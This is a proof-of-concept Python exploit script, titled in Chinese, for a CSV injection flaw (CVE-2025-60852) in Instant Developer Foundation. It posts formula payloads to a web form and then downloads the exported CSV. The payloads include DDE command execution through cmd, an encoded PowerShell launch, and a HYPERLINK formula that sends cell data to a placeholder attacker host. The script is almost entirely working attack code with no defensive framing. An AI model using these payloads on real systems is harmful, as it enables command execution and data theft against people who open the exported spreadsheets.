CVE-2025-60852 Instant Developer Foundation CSV注入漏洞

# CVE-2025-60852 CSV Injection PoC # Affected: Instant Developer Foundation < 25.0.9600 import requests import json # Step 1: Inject malicious formula via user input field target_url = "http://target-app.com/export_form.php" # Malicious CSV formula payloads payloads = [ "=cmd|' /C calc'!A0", # Windows RCE via DDE "=HYPERLINK(\"http://attacker.com/steal?data=\"&A1)", # Data exfiltration "+cmd|' /C notepad'!A0", # Alternative RCE syntax "-1+cmd|' /C powershell -enc base64... '!A0", # PowerShell execution ] # Inject payload through vulnerable input field for payload in payloads: data = { "username": payload, "email": "[email protected]", "description": "Test input for CSV injection" } response = requests.post(target_url, data=data) print(f"Payload sent: {payload}") print(f"Response: {response.status_code}") # Step 2: Export CSV file containing malicious formula csv_export_url = "http://target-app.com/export_csv.php" csv_response = requests.get(csv_export_url) if csv_response.status_code == 200: with open("malicious_export.csv", "wb") as f: f.write(csv_response.content) print("Malicious CSV file saved: malicious_export.csv") print("Content preview:") print(csv_response.text[:500]) # Step 3: When victim opens CSV in Excel, formula executes print("\n[!] Victim must open CSV and click 'Yes' to formula warning")